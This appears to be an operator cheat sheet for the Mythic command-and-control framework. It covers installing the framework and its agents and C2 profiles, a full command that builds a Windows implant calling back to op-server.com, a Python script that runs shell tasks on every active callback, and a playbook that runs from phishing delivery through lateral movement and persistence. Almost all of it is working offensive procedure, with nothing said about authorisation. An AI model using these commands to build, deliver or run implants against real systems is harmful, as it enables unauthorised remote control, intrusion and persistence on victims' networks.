Mythic C2 Operator Skill

# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh        # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install

# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo     # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon   # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa     # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena     # cross-platform .NET 6

# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns

# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
  --name "stage1" \
  --description "Apollo http to op-server.com" \
  --agent Apollo \
  --c2_profile http \
  --c2_profile_parameter callback_host=https://op-server.com \
  --c2_profile_parameter callback_port=443 \
  --c2_profile_parameter encrypted_exchange_check=T \
  --c2_profile_parameter callback_interval=30 \
  --c2_profile_parameter callback_jitter=20 \
  --c2_profile_parameter killdate=2025-12-31 \
  --build_parameter version=net4.0 \
  --output_file stage1.exe

# Drop stage1.exe on the target — it calls back to op-server.com over HTTPS

# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
    m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
    cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
    for cb in cbs:
        await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'

1. Set up Mythic + profiles + agents (1 hr, one-time per engagement)
2. Stage redirector with HTTPS cert (CloudFront, nginx, ...)
3. Build payload(s) per target (1 per OS/objective)
4. Deliver via phish / exploit / pretext
5. On callback: 'whoami', 'hostname', 'pwd', 'ps' — basic survey
6. Network enumeration (token mimic, find-domain-controllers, etc.)
7. Lateral via SMB profile to peers — no new HTTP callbacks
8. Persistence after objective met
9. Clean up; teardown